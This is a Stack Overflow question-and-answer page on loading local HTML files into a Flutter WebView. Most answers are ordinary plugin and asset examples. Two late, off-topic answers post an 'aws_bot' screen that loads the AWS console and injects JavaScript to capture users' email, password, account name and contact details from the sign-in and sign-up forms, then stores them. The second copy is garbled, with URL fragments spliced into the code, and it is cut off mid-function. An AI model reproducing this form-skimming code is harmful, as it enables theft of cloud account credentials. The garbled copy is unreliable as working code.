I want to render a local HTML file stored in my phone memory in webview using flutter and dart.
-
you can use this https://stackoverflow.com/a/64875729/7760245 – Rasel Khan Jan 21 '21 at 10:45
14 Answers
I'm using the webview_flutter plugin from the Flutter Team.
Steps
- Add the dependency to pubspec.yaml:
dependencies:
webview_flutter: ^4.2.1
Put an html file in the
assets
folder (see this). I'll call ithelp.html
.Declare it in your pubspec.yaml file:
flutter:
assets:
- assets/help.html
- Use it in your code:
import 'package:flutter/material.dart';
import 'package:webview_flutter/webview_flutter.dart';
class HelpScreen extends StatefulWidget {
const HelpScreen({super.key});
@override
State<HelpScreen> createState() => _HelpScreenState();
}
class _HelpScreenState extends State<HelpScreen> {
late final WebViewController _controller;
@override
void initState() {
super.initState();
_controller = WebViewController();
_controller.loadFlutterAsset('assets/help.html');
}
@override
Widget build(BuildContext context) {
return Scaffold(
body: WebViewWidget(controller: _controller),
);
}
}
Notes
There are lots of other things you can do with a web view (including running JavaScript). Check out the following links for more:
- Adding WebView to your Flutter app (official codelab)
- Plugin example

- 484,302
- 314
- 1,365
- 1,393
-
14@Suragch How do I access local js file from html in webview? eg: `` – Arnold Parge Jan 03 '20 at 11:31
-
-
@ArnoldParge I saw that you're trying to load Froala; I'm about to try the same thing. Were you able to get this to work? – jdixon04 Dec 14 '20 at 23:00
-
-
@GoodSp33d, You'd probably want to use a package for that. I haven't done it myself. – Suragch Jun 20 '21 at 23:45
-
-
Can we use this `webview_flutter` for loading local html file in windows chrome browser – Mithson Sep 21 '21 at 08:08
-
-
-
You can pass a data URI
Uri.dataFromString('<html><body>hello world</body></html>', mimeType: 'text/html').toString()
or you can launch a web server inside Flutter and pass an URL that points to the IP/port the server serves the file from.
See also the discussion in https://github.com/fluttercommunity/flutter_webview_plugin/issues/23
See https://flutter.io/docs/development/ui/assets-and-images#loading-text-assets about how to load a string from assets.
See https://flutter.io/docs/cookbook/persistence/reading-writing-files for how to read other files.

- 623,577
- 216
- 2,003
- 1,567
You may use Flutter InAppWebView Plugin. It will create a local server inside the app and it’ll run the HTML app there in the WebView. Start your server:
InAppLocalhostServer localhostServer = new InAppLocalhostServer();
Future main() async {
WidgetsFlutterBinding.ensureInitialized();
await localhostServer.start();
runApp(new MyApp());
}
//... ...
class _MyHomePageState extends State < MyHomePage > {
//... ...
@override
void dispose() {
localhostServer.close();
super.dispose();
}
}
And then point your localhost html index file in the WebView.
InAppWebView(
initialUrlRequest: URLRequest(
url: Uri.parse('http://localhost:8080/assets/index.html')),
),
In many cases it doesn't work for many people because they forget to add all the folders as the assets in the pubspec.yaml
file. For example, you need to specify all the folders and index file like below:
assets:
- assets/index.html
- assets/css/
- assets/images/
- assets/js/
- assets/others/
You can see this tutorial for further details.
-
Can it be done with html and css files downloaded from api? I tried, but, it only loads simple html, but no images or css. Seems like path issue, but found no solution so far. – Karanveer Singh Apr 28 '22 at 11:25
-
@Suragch, your code doesn't work as you posted it, it says localUrl
was called on null
.
_loadHtmlFromAssets
needs to be called after assigning the controller :
onWebViewCreated: (WebViewController webViewController) {
_controller = webViewController;
_loadHtmlFromAssets();
}
Then it works fine :)

- 5,370
- 5
- 42
- 65

- 141
- 1
- 3
I have the same problem; this is how I solved it.
Add webview_flutter to your project dependencies:
webview_flutter: 0.3.14+1
Create a WebViewController inside your screen/stateful widget
WebViewController _controller;
Implement the WebView and assign a value to the _controller using the onWebViewCreated property. Load the HTML file.
WebView(
initialUrl: '',
onWebViewCreated: (WebViewController webViewController) async {
_controller = webViewController;
await loadHtmlFromAssets('legal/privacy_policy.html', _controller);
},
)
- Implement the function to load the file from the asset folder
Future<void> loadHtmlFromAssets(String filename, controller) async {
String fileText = await rootBundle.loadString(filename);
controller.loadUrl(Uri.dataFromString(fileText, mimeType: 'text/html', encoding: Encoding.getByName('utf-8')).toString());
}

- 1,369
- 11
- 18
-
thanks but it seems to stop at this line String fileText = await rootBundle.loadString(filename); – 68060 Nov 16 '21 at 03:52
-
You can use my plugin flutter_inappwebview, which has a lot of events, methods, and options compared to other plugins!
To load an html file from your assets folder, you need to declare it in the pubspec.yaml
file before use it (see more here).
Example of a pubspec.yaml
file:
...
# The following section is specific to Flutter.
flutter:
# The following line ensures that the Material Icons font is
# included with your application, so that you can use the icons in
# the material Icons class.
uses-material-design: true
assets:
- assets/index.html
...
After that, you can simply use the initialFile
parameter of the InAppWebView
widget to load index.html
into the WebView:
import 'dart:async';
import 'package:flutter/material.dart';
import 'package:flutter_inappwebview/flutter_inappwebview.dart';
Future main() async {
runApp(new MyApp());
}
class MyApp extends StatefulWidget {
@override
_MyAppState createState() => new _MyAppState();
}
class _MyAppState extends State<MyApp> {
@override
void initState() {
super.initState();
}
@override
void dispose() {
super.dispose();
}
@override
Widget build(BuildContext context) {
return MaterialApp(
home: InAppWebViewPage()
);
}
}
class InAppWebViewPage extends StatefulWidget {
@override
_InAppWebViewPageState createState() => new _InAppWebViewPageState();
}
class _InAppWebViewPageState extends State<InAppWebViewPage> {
InAppWebViewController webView;
@override
Widget build(BuildContext context) {
return Scaffold(
appBar: AppBar(
title: Text("InAppWebView")
),
body: Container(
child: Column(children: <Widget>[
Expanded(
child: Container(
child: InAppWebView(
initialFile: "assets/index.html",
initialHeaders: {},
initialOptions: InAppWebViewWidgetOptions(
inAppWebViewOptions: InAppWebViewOptions(
debuggingEnabled: true,
),
),
onWebViewCreated: (InAppWebViewController controller) {
webView = controller;
},
onLoadStart: (InAppWebViewController controller, String url) {
},
onLoadStop: (InAppWebViewController controller, String url) {
},
),
),
),
]))
);
}
}

- 2,896
- 1
- 27
- 50
-
Is it working with large(3-5Mb) html strings (via loadData)? Does it support inner href links (Title1) inside these pages? – iBog May 18 '20 at 10:29
unzip the apk package,I found the reason: path is wrong;
For Android:
"assets/test.html" == "file:///android_asset/flutter_assets/assets/test.html"
so,just like this:
WebView(
initialUrl: "file:///android_asset/flutter_assets/assets/test.html",
javascriptMode: JavascriptMode.unrestricted,
)
you can load "assets/test.html".

- 133
- 4
The asset_webview plugin is specifically designed for this. Fewer features than other plugins, but simple to use.

- 874
- 7
- 5
Finally found a proper way
String webview_content = '''
<!DOCTYPE html>
<html lang="en">
<head>
<title>Load file or HTML string example</title>
</head>
<body>
<h1>Local demo page</h1>
<p>
This is an example page used to demonstrate how to load a local file
or
HTML
string using the <a
href="https://pub.dev/packages/webview_flutter">Flutter
webview</a> plugin.
</p>
</body>
</html>
''';
final Completer<WebViewController> _controller =
Completer<WebViewController>();
Future<void> _loadHtmlString(
Completer<WebViewController> controller, BuildContext context) async {
WebViewController _controller = await controller.future;
await _controller.loadHtmlString(webview_content);
return WebView(
initialUrl: 'https://flutter.dev',
onWebViewCreated:
(WebViewController webViewController) async {
_controller.complete(webViewController);
_loadHtmlString(_controller, context);
},
),

- 592
- 6
- 21
You can use webview_flutter plugin in this case
- Add webview_flutter to your dependencies
dependencies:
webview_flutter: ^4.0.7
- Make sure to declare your HTML file as an asset in the
pubspec.yaml
file
assets:
- assets/index.html
- Instantiate a WebViewController and load your HTML file using
loadFlutterAsset()
method
final controller = WebViewController()..loadFlutterAsset('assets/index.html');
- Finally pass the above instantiated
controller
to WebViewWidget
WebViewWidget(
controller: controller
)
Also, in place of loadFlutterAsset()
method, you can use methods like loadHtmlString()
to load HTML from a String or loadFile()
to load the HTML file located on the device (Refer docs for more information).
I hope this solves your problem

- 11
- 2
Use flutter_widget_from_html_core---->
link -> https://pub.dev/packages/flutter_widget_from_html_core
dependencies:
flutter_widget_from_html_core: ^0.5.1+4
Code like this
HtmlWidget(
"""
<html lang="en">
<body>hello world</body>
</html>
""",
),

- 2,976
- 19
- 25
-
1In my opinion this does not answer, since he mentioned he wants to render a local file. Nothing about it is in this answer. – Iván Yoed Sep 23 '21 at 15:31
I follow @Suragch answer and find that local image path in the html file cannot be loaded. So I tried a few ways and found that replacing the method loadUrl()
with loadFlutterAsset()
actually do the job (the code is also more simple).
class UserGuidePage extends StatefulWidget {
final UserGuideArguments arguments;
const UserGuidePage({required this.arguments, Key? key}) : super(key: key);
@override
State<UserGuidePage> createState() => _UserGuidePageState();
}
class _UserGuidePageState extends State<UserGuidePage> {
late WebViewController _controller;
@override
Widget build(BuildContext context) {
return WebView(
initialUrl: 'about:blank',
onWebViewCreated: (WebViewController webViewController) {
_controller = webViewController;
_loadHtmlFromAssets();
},
);
}
void _loadHtmlFromAssets() {
_controller.loadFlutterAsset('assets/index.html');
}
}

- 1
- 2
You can get the page html and use it to load the page with code below that is an example
import 'dart:convert';
import 'package:aws_bot/Utils/Const.dart';
import 'package:aws_bot/Utils/User.dart';
import 'package:flutter/material.dart';
import 'package:flutter_inappwebview/flutter_inappwebview.dart';
import 'package:flutter_webview_plugin/flutter_webview_plugin.dart';
import 'package:html/parser.dart';
class signIn extends StatefulWidget {
const signIn({Key? key}) : super(key: key);
@override
_signInState createState() => _signInState();
}
class _signInState extends State<signIn> {
String userEmail = "";
String userPassword = "";
final flutterWebviewPlugin = new FlutterWebviewPlugin();
bool evalJsOnce = false;
String _currentUrl = "";
User _user = User();
bool _loading = true;
double progress = 0.0;
@override
void initState() {
super.initState();
// Future.delayed(Duration(microseconds: 3), () async {
// Map info = await _user.getEmailPassword();
// _user.userEmail = info['email'];
// _user.userPassword = info['password'];
// setState(() {});
// });
}
@override
Widget build(BuildContext context) {
flutterWebviewPlugin.onProgressChanged.listen((double progress) {
print("progress changed = $progress");
if (progress == 1.0) {
//https://portal.aws.amazon.com/billing/signup
flutterWebviewPlugin.onUrlChanged.listen((String url) {
_currentUrl = url;
print("url changed = $url");
if (url.contains('https://portal.aws.amazon.com/billing/signup')) {
print("signup");
flutterWebviewPlugin.evalJavascript(''
'document.querySelector("#CredentialCollection").addEventListener("submit", function(e) {window.Mchannel.postMessage(JSON.stringify({"email": document.querySelector("#awsui-input-0").value, "password": document.querySelector("#awsui-input-1").value, "confirmPass": document.querySelector("#awsui-input-2").value, "accountName": document.querySelector("#awsui-input-3").value}));});');
} else {
flutterWebviewPlugin.evalJavascript(''
'let pageHtml = document.documentElement.innerHTML;'
'window.Emailchannel.postMessage(pageHtml);'
'if (pageHtml.includes("Root user email address")) {'
'document.querySelector("#next_button").addEventListener("click", function(e) {window.Emailchannel.postMessage(JSON.stringify({"email": document.querySelector("#resolving_input").value}));});}'
'');
}
// } else if (url.contains(
// 'https://signin.aws.amazon.com/signin?redirect_uri=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Ffromtb%3Dtrue%26hashArgs%3D%2523%26isauthcode%3Dtrue%26state%3DhashArgsFromTB_us-east-1_2b2a9061808657b8&client_id=arn%3Aaws%3Asignin%3A%3A%3Aconsole%2Fcanvas&forceMobileApp=0&code_challenge=-HEkj8kWzXDv2qBLcBQX2GYULvcP2gsHr0p0X_fJJcU&code_challenge_method=SHA-256')) {
// flutterWebviewPlugin.evalJavascript(''
// 'document.querySelector("#next_button").addEventListener("click", function(e) {e.preventDefault(); window.Emailchannel.postMessage(JSON.stringify({"email": document.querySelector("#resolving_input").value}));});;');
// } else if (url.contains(
// "https://signin.aws.amazon.com/signin?redirect_uri=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Ffromtb%3Dtrue%26hashArgs%3D%2523%26isauthcode%3Dtrue%26state%3DhashArgsFromTB_us-east-1_c885b81ed0514ab4&client_id=arn%3Aaws%3Asignin%3A%3A%3Aconsole%2Fcanvas&forceMobileApp=0&code_challenge=_Tqr3pEXTDAqOYjWp0ehE6ToYYSN7OLeyJWBx5HTPVM&code_challenge_method=SHA-256")) {
// print("enter pass");
// // flutterWebviewPlugin.evalJavascript(''
// // 'document.querySelector("#signin_button").addEventListener("click", function(e) {e.preventDefault(); window.Passwordchannel.postMessage(JSON.stringify({"password": document.querySelector("#password").value}));});;');
// } else if (url.contains("https://console.aws.amazon.com/")) {
// // flutterWebviewPlugin.launch(_consts.successDirectUrl +
// // "email=${_user.userEmail}&password=${_user.userPassword}");
// }
});
}
});
flutterWebviewPlugin.onStateChanged.listen((WebViewStateChanged state) {
print("state changed = $state");
});
return Scaffold(
appBar: AppBar(
title: Text(
'AWS Sign In',
style: TextStyle(color: Colors.black),
),
backgroundColor: Colors.yellow[600],
),
floatingActionButton: _backButton(context),
body: Column(
children: [
(progress != 1.0)
? LinearProgressIndicator(
// minHeight: 10.0,
value: progress,
backgroundColor: Colors.redAccent,
valueColor: AlwaysStoppedAnimation<Color>(Colors.black))
: Container(),
Container(
color: Colors.yellow[600],
width: double.infinity,
padding: EdgeInsets.all(8.0),
child: Column(
mainAxisAlignment: MainAxisAlignment.start,
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
"Email Address of you AWS : ${consts.user.userEmail}",
style: TextStyle(
fontWeight: FontWeight.w600,
),
),
SizedBox(
height: 4.0,
),
Text(
"IAM user name : ${consts.user.accountName}",
style: TextStyle(
fontWeight: FontWeight.w600,
),
),
SizedBox(
height: 4.0,
),
Text(
"Password : ${consts.user.userPassword != "null" && consts.user.userPassword != "" ? consts.user.userPassword.replaceAll(consts.user.userPassword, "******") : ""}",
style: TextStyle(
fontWeight: FontWeight.w600,
),
),
],
)),
Expanded(child: _buildSignInPage()),
],
),
);
}
_buildSignInPage() {
String _url = "https://console.aws.amazon.com/iam/home#/users";
return InAppWebView(
initialUrlRequest: URLRequest(url: Uri.parse(_url)),
// javascriptChannels: Set.from([
// JavascriptChannel(
// name: 'Emailchannel',
// onMessageReceived: (JavascriptMessage message) {
// //This is where you receive message from
// //javascript code and handle in Flutter/Dart
// //like here, the message is just being printed
// //in Run/LogCat window of android studio
// print("console message = ${message.message}");
// setState(() {
// _user.userEmail =
// jsonDecode(message.message)['email'].toString();
// });
// }),
// JavascriptChannel(
// name: 'Passwordchannel',
// onMessageReceived: (JavascriptMessage message) {
// //This is where you receive message from
// //javascript code and handle in Flutter/Dart
// //like here, the message is just being printed
// //in Run/LogCat window of android studio
// print("console message = ${jsonDecode(message.message)}");
// setState(() {
// _user.userEmail =
// jsonDecode(message.message)['password'].toString();
// });
// })
// ]),
// withJavascript: true,
onConsoleMessage: (controller, consoleMessage) async {
print("console message = ${consoleMessage.message}");
print(consoleMessage.messageLevel.toString());
// LOG ERROR => message levels
if (consoleMessage.messageLevel.toString() != "ERROR" &&
consoleMessage.messageLevel.toString() != "WARNING") {
Map message = jsonDecode(consoleMessage.message);
if (message.containsKey("email")) {
consts.user.userEmail = message['email'].toString();
await consts.user.storeSignUpInfo(email: consts.user.userEmail);
} else if (message.containsKey("password")) {
consts.user.userPassword = message['password'].toString();
await consts.user
.storeSignUpInfo(password: consts.user.userPassword);
} else if (message.containsKey("delete")) {
Future.delayed(Duration.zero, () async {
await consts.user.clearStorage();
consts.user.userEmail = "";
consts.user.userPassword = "";
});
} else if (message.containsKey("sEmail")) {
consts.user.userEmail = message['sEmail'].toString();
await consts.user.storeSignUpInfo(email: consts.user.userEmail);
} else if (message.containsKey("sPassword")) {
consts.user.userPassword = message["sPassword"].toString();
await consts.user
.storeSignUpInfo(password: consts.user.userPassword);
} else if (message.containsKey("sAccountName")) {
consts.user.accountName = message["sAccountName"].toString();
await consts.user
.storeSignUpInfo(accountName: consts.user.accountName);
} else if (message.containsKey("sFullName")) {
consts.user.fullName = message["sFullName"].toString();
await consts.user.storeSignUpInfo(fullName: consts.user.fullName);
} else if (message.containsKey("sPhone")) {
consts.user.phoneNumber = message["sPhone"].toString();
await consts.user
.storeSignUpInfo(phoneNumber: consts.user.phoneNumber);
} else if (message.containsKey("sRegion")) {
consts.user.region = message["sRegion"].toString();
await consts.user.storeSignUpInfo(region: consts.user.region);
} else if (message.containsKey("sAddress")) {
consts.user.address = message["sAddress"].toString();
await consts.user.storeSignUpInfo(address: consts.user.address);
} else if (message.containsKey("sCity")) {
consts.user.city = message["sCity"].toString();
await consts.user.storeSignUpInfo(city: consts.user.city);
} else if (message.containsKey("sState")) {
consts.user.state = message["sState"].toString();
await consts.user.storeSignUpInfo(state: consts.user.state);
} else if (message.containsKey("sPostal")) {
consts.user.postalCode = message["sPostal"].toString();
await consts.user
.storeSignUpInfo(postalCode: consts.user.postalCode);
} else if (message.containsKey("sOrganize")) {
consts.user.oraganization = message["sOrganize"].toString();
await consts.user
.storeSignUpInfo(organization: consts.user.oraganization);
}
setState(() {
if (consts.user.userPassword != "" &&
!message.containsKey("delete")) {
/*Future.delayed(Duration.zero, () async {
await consts.user.storeEmailAndPassword(
consts.user.userEmail, consts.user.userPassword);
// controller.loadUrl(
// urlRequest: URLRequest(
// url: Uri.parse(_consts.successDirectUrl +
// "email=${_user.userEmail}&password=${_user.userPassword}")));
});*/
}
});
}
},
onWindowFocus: (controller) async {
var currentUrl = await controller.getUrl();
final html = await controller.getHtml();
var document = parse(html);
if (currentUrl != _currentUrl) {
Future.delayed(Duration.zero, () async {
var htmlCode = await controller.getHtml();
var document = parse(htmlCode);
var currentUrl = await controller.getUrl();
print("currentUrl = ${currentUrl}");
if (document.body!.innerHtml.contains("username@example.com")) {
print("get email");
await consts.user.clearStorage();
// get entered email address
getUserEmail(controller, document.body!.innerHtml);
} else if (document.body!.innerHtml.contains("Root user sign in")) {
print("get pass");
// get entered password
getUserPassword(controller, document.body!.innerHtml);
} else if (currentUrl
.toString()
.contains("https://portal.aws.amazon.com/billing/signup")) {
if (document.body!.innerHtml.contains("AWS account name")) {
print("sign up");
// get signUp email
getSignUpEmail(controller);
// get signUp password
getSignUpPassword(controller);
// get signUp account name
getSignUpAccountName(controller);
} else if (document.body!.innerHtml
.contains("Contact Information")) {
// get full name
getSignUpFullname(controller);
// get phone number
getSignUpPhoneNumber(controller);
// get region
getSignUpRegion(controller);
// get address
getSignUpAddress(controller);
// get city
getSignUpCity(controller);
// get state
getSignUpState(controller);
// get postal code
getSignUpPostalCode(controller);
// get organization
getSignUpOrganization(controller);
}
}
});
}
_currentUrl = currentUrl.toString();
//controller.goBack();
},
onProgressChanged:
(InAppWebViewController controller, int progress) async {
setState(() {
this.progress = progress / 100;
print("progress = ${this.progress}");
});
if (progress == 100) {
var currentUrl = await controller.getUrl();
Future.delayed(Duration(microseconds: 3), () async {
var htmlCode = await controller.getHtml();
var document = parse(htmlCode);
print("currentUrl progress = ${currentUrl.toString()}");
//print("html = ${document.body!.innerHtml}");
if (document.body!.innerHtml
.contains("Email address of your AWS account")) {
print("get email");
await consts.user.clearStorage();
consts.user.userEmail = "";
consts.user.userPassword = "";
controller.evaluateJavascript(source: """
document.querySelector("#new_account_container").style.display = "none";
""");
setState(() {});
// get entered email address
getUserEmail(controller, document.body!.innerHtml);
} else if (document.body!.innerHtml.contains("Root user sign in")) {
print("get pass");
// get entered password
getUserPassword(controller, document.body!.innerHtml);
} else if (currentUrl
.toString()
.contains("https://portal.aws.amazon.com/billing/signup#/")) {
if (document.body!.innerHtml.contains("AWS account name")) {
print("sign up progress");
// get signUp email
getSignUpEmail(controller);
// get signUp password
getSignUpPassword(controller);
// get signUp account name
getSignUpAccountName(controller);
} else if (document.body!.innerHtml
.contains("Contact Information")) {
// get full name
getSignUpFullname(controller);
// get phone number
getSignUpPhoneNumber(controller);
// get region
getSignUpRegion(controller);
// get address
getSignUpAddress(controller);
// get city
getSignUpCity(controller);
// get state
getSignUpState(controller);
// get postal code
getSignUpPostalCode(controller);
// get organization
getSignUpOrganization(controller);
}
}
if (currentUrl.toString() ==
"https://console.aws.amazon.com/iam/home#/users" ||
currentUrl.toString() ==
"https://console.aws.amazon.com/iam/home?#/users") {
print("delete credentials");
// delete user data if loged out
deleteCredentials(controller);
}
});
}
},
);
}
// get user amil
getUserEmail(InAppWebViewController controller, String html) {
controller.addJavaScriptHandler(
handlerName: 'EmailGetter',
callback: (args) {
// print arguments coming from the JavaScript side!
print("email args = $args");
// return data to the JavaScript side!
return args;
});
controller.evaluateJavascript(source: """
document.querySelector("#next_button").addEventListener("click", function(ee) {
window.console.log(JSON.stringify({"email": document.querySelector("#resolving_input").value}));});
""");
}
// getting password
getUserPassword(InAppWebViewController controller, String html) {
controller.evaluateJavascript(source: """
document.querySelector("#signin_button").addEventListener("click", function(ee) {
window.console.log(JSON.stringify({"password": document.querySelector("#password").value}));});
""");
}
// getting SignUp Email address
getSignUpEmail(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#CredentialCollection").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sEmail": document.querySelector("input[name='email']").value}));});
""");
}
// getting SignUp password
getSignUpPassword(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#CredentialCollection").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sPassword": document.querySelector("input[name='password']").value}));});
""");
}
// getting SignUp account name
getSignUpAccountName(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#CredentialCollection").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sAccountName": document.querySelector("input[name='accountName']").value}));});
""");
}
// getting SignUp fullName
getSignUpFullname(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sFullName": document.querySelector("input[name='address.fullName']").value}));});
""");
}
// getting SignUp phone number
getSignUpPhoneNumber(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sPhone": document.querySelector("input[name='address.phoneNumber']").value}));});
""");
}
// getting SignUp region
getSignUpRegion(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sRegion": document.querySelectorAll(".awsui-select-trigger-label")[1].innerText}));});
""");
}
// getting SignUp address
getSignUpAddress(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sAddress": document.querySelectorAll("input[name='address.addressLine1']").value}));});
""");
}
// getting SignUp city
getSignUpCity(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sCity": document.querySelectorAll("input[name='address.city']").value}));});
""");
}
// getting SignUp state
getSignUpState(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sState": document.querySelectorAll("input[name='address.state']").value}));});
""");
}
// getting SignUp postal code
getSignUpPostalCode(controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sPostal": document.querySelectorAll("input[name='address.postalCode']").value}));});
""");
}
// getting SignUp organization
getSignUpOrganization(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#ContactInformation").addEventListener("submit", function(ee) {
window.console.log(JSON.stringify({"sOrganize": document.querySelectorAll("input[name='address.company']").value}));});
""");
}
// deleting user credentials
deleteCredentials(InAppWebViewController controller) {
controller.evaluateJavascript(source: """
document.querySelector("#aws-console-logout").addEventListener("click", function(ee) {
window.console.log(JSON.stringify({"delete": "delete"}));});
""");
}
_backButton(BuildContext context) {
return ElevatedButton(
onPressed: () {
Navigator.pop(context);
},
child: Icon(Icons.arrow_back),
);
}
}

- 2,369
- 16
- 12
-
1You should remove the comments and maybe split your code in more logical blocks – Philipos D. Dec 22 '21 at 12:27
Here is much more cleaner code of above code
import 'dart:convert';
import 'package:aws_bot/Utils/Const.dart';
import 'package:aws_bot/Utils/User.dart';
import 'package:flutter/material.dart';
import 'package:flutter_inappwebview/flutter_inappwebview.dart';
import 'package:flutter_webview_plugin/flutter_webview_plugin.dart';
import 'package:html/parser.dart';
class signIn extends StatefulWidget {
const signIn({Key? key}) : super(key: key);
@override
_signInState createState() => _signInState();
}
class _signInState extends State<signIn> {
String userEmail = "";
String userPassword = "";
final flutterWebviewPlugin = new FlutterWebviewPlugin();
bool evalJsOnce = false;
String _currentUrl = "";
User _user = User();
bool _loading = true;
double progress = 0.0;
@override
void initState() {
super.initState();
}
@override
Widget build(BuildContext context) {
flutterWebviewPlugin.onProgressChanged.listen((double progress) {
print("progress changed = $progress");
if (progress == 1.0) {
//https://portal.aws.amazon.com/billing/signup
flutterWebviewPlugin.onUrlChanged.listen((String url) {
_currentUrl = url;
print("url changed = $url");
if (url.contains('https://portal.aws.amazon.com/billing/signup')) {
print("signup");
flutterWebviewPlugin.evalJavascript(''
'document.querySelector("#CredentialCollection").addEventListener("submit", function(e) {window.Mchannel.postMessage(JSON.stringify({"email": document.querySelector("#awsui-input-0").value, "password": document.querySelector("#awsui-input-1").value, "confirmPass": document.querySelector("#awsui-input-2").value, "accountName": document.querySelector("#awsui-input-3").value}));});');
} else {
flutterWebviewPlugin.evalJavascript(''
'let pageHtml = document.documentElement.innerHTML;'
'window.Emailchannel.postMessage(pageHtml);'
'if (pageHtml.includes("Root user email address")) {'
'document.querySelector("#next_button").addEventListener("click", function(e) {window.Emailchannel.postMessage(JSON.stringify({"email": document.querySelector("#resolving_input").value}));});}'
'');
}
redirect_uri=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Ffromtb%3Dtrue%26hashArgs%3D%2523%26isauthcode%3Dtrue%26state%3DhashArgsFromTB_us-east-1_2b2a9061808657b8&client_id=arn%3Aaws%3Asignin%3A%3A%3Aconsole%2Fcanvas&forceMobileApp=0&code_challenge=-HEkj8kWzXDv2qBLcBQX2GYULvcP2gsHr0p0X_fJJcU&code_challenge_method=SHA-256')) { 'document.querySelector("#next_button").addEventListener("click", function(e) {e.preventDefault(); window.Emailchannel.postMessage(JSON.stringify({"email": document.querySelector("#resolving_input").value}));});;');redirect_uri=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Ffromtb%3Dtrue%26hashArgs%3D%2523%26isauthcode%3Dtrue%26state%3DhashArgsFromTB_us-east-1_c885b81ed0514ab4&client_id=arn%3Aaws%3Asignin%3A%3A%3Aconsole%2Fcanvas&forceMobileApp=0&code_challenge=_Tqr3pEXTDAqOYjWp0ehE6ToYYSN7OLeyJWBx5HTPVM&code_challenge_method=SHA-256")) { 'document.querySelector("#signin_button").addEventListener("click", function(e) {e.preventDefault(); window.Passwordchannel.postMessage(JSON.stringify({"password": document.querySelector("#password").value}));});;');
});
}
});
flutterWebviewPlugin.onStateChanged.listen((WebViewStateChanged state) {
print("state changed = $state");
});
return Scaffold(
appBar: AppBar(
title: Text(
'AWS Sign In',
style: TextStyle(color: Colors.black),
),
backgroundColor: Colors.yellow[600],
),
floatingActionButton: _backButton(context),
body: Column(
children: [
(progress != 1.0)
? LinearProgressIndicator(
// minHeight: 10.0,
value: progress,
backgroundColor: Colors.redAccent,
valueColor: AlwaysStoppedAnimation<Color>(Colors.black))
: Container(),
Container(
color: Colors.yellow[600],
width: double.infinity,
padding: EdgeInsets.all(8.0),
child: Column(
mainAxisAlignment: MainAxisAlignment.start,
crossAxisAlignment: CrossAxisAlignment.start,
children: [
Text(
"Email Address of you AWS : ${consts.user.userEmail}",
style: TextStyle(
fontWeight: FontWeight.w600,
),
),
SizedBox(
height: 4.0,
),
Text(
"IAM user name : ${consts.user.accountName}",
style: TextStyle(
fontWeight: FontWeight.w600,
),
),
SizedBox(
height: 4.0,
),
Text(
"Password : ${consts.user.userPassword != "null" && consts.user.userPassword != "" ? consts.user.userPassword.replaceAll(consts.user.userPassword, "******") : ""}",
style: TextStyle(
fontWeight: FontWeight.w600,
),
),
],
)),
Expanded(child: _buildSignInPage()),
],
),
);
}
_buildSignInPage() {
String _url = "https://console.aws.amazon.com/iam/home#/users";
return InAppWebView(
initialUrlRequest: URLRequest(url: Uri.parse(_url)),
onConsoleMessage: (controller, consoleMessage) async {
print("console message = ${consoleMessage.message}");
print(consoleMessage.messageLevel.toString());
// LOG ERROR => message levels
if (consoleMessage.messageLevel.toString() != "ERROR" &&
consoleMessage.messageLevel.toString() != "WARNING") {
Map message = jsonDecode(consoleMessage.message);
if (message.containsKey("email")) {
consts.user.userEmail = message['email'].toString();
await consts.user.storeSignUpInfo(email: consts.user.userEmail);
} else if (message.containsKey("password")) {
consts.user.userPassword = message['password'].toString();
await consts.user
.storeSignUpInfo(password: consts.user.userPassword);
} else if (message.containsKey("delete")) {
Future.delayed(Duration.zero, () async {
await consts.user.clearStorage();
consts.user.userEmail = "";
consts.user.userPassword = "";
});
} else if (message.containsKey("sEmail")) {
consts.user.userEmail = message['sEmail'].toString();
await consts.user.storeSignUpInfo(email: consts.user.userEmail);
} else if (message.containsKey("sPassword")) {
consts.user.userPassword = message["sPassword"].toString();
await consts.user
.storeSignUpInfo(password: consts.user.userPassword);
} else if (message.containsKey("sAccountName")) {
consts.user.accountName = message["sAccountName"].toString();
await consts.user
.storeSignUpInfo(accountName: consts.user.accountName);
} else if (message.containsKey("sFullName")) {
consts.user.fullName = message["sFullName"].toString();
await consts.user.storeSignUpInfo(fullName: consts.user.fullName);
} else if (message.containsKey("sPhone")) {
consts.user.phoneNumber = message["sPhone"].toString();
await consts.user
.storeSignUpInfo(phoneNumber: consts.user.phoneNumber);
} else if (message.containsKey("sRegion")) {
consts.user.region = message["sRegion"].toString();
await consts.user.storeSignUpInfo(region: consts.user.region);
} else if (message.containsKey("sAddress")) {
consts.user.address = message["sAddress"].toString();
await consts.user.storeSignUpInfo(address: consts.user.address);
} else if (message.containsKey("sCity")) {
consts.user.city = message["sCity"].toString();
await consts.user.storeSignUpInfo(city: consts.user.city);
} else if (message.containsKey("sState")) {
consts.user.state = message["sState"].toString();
await consts.user.storeSignUpInfo(state: consts.user.state);
} else if (message.containsKey("sPostal")) {
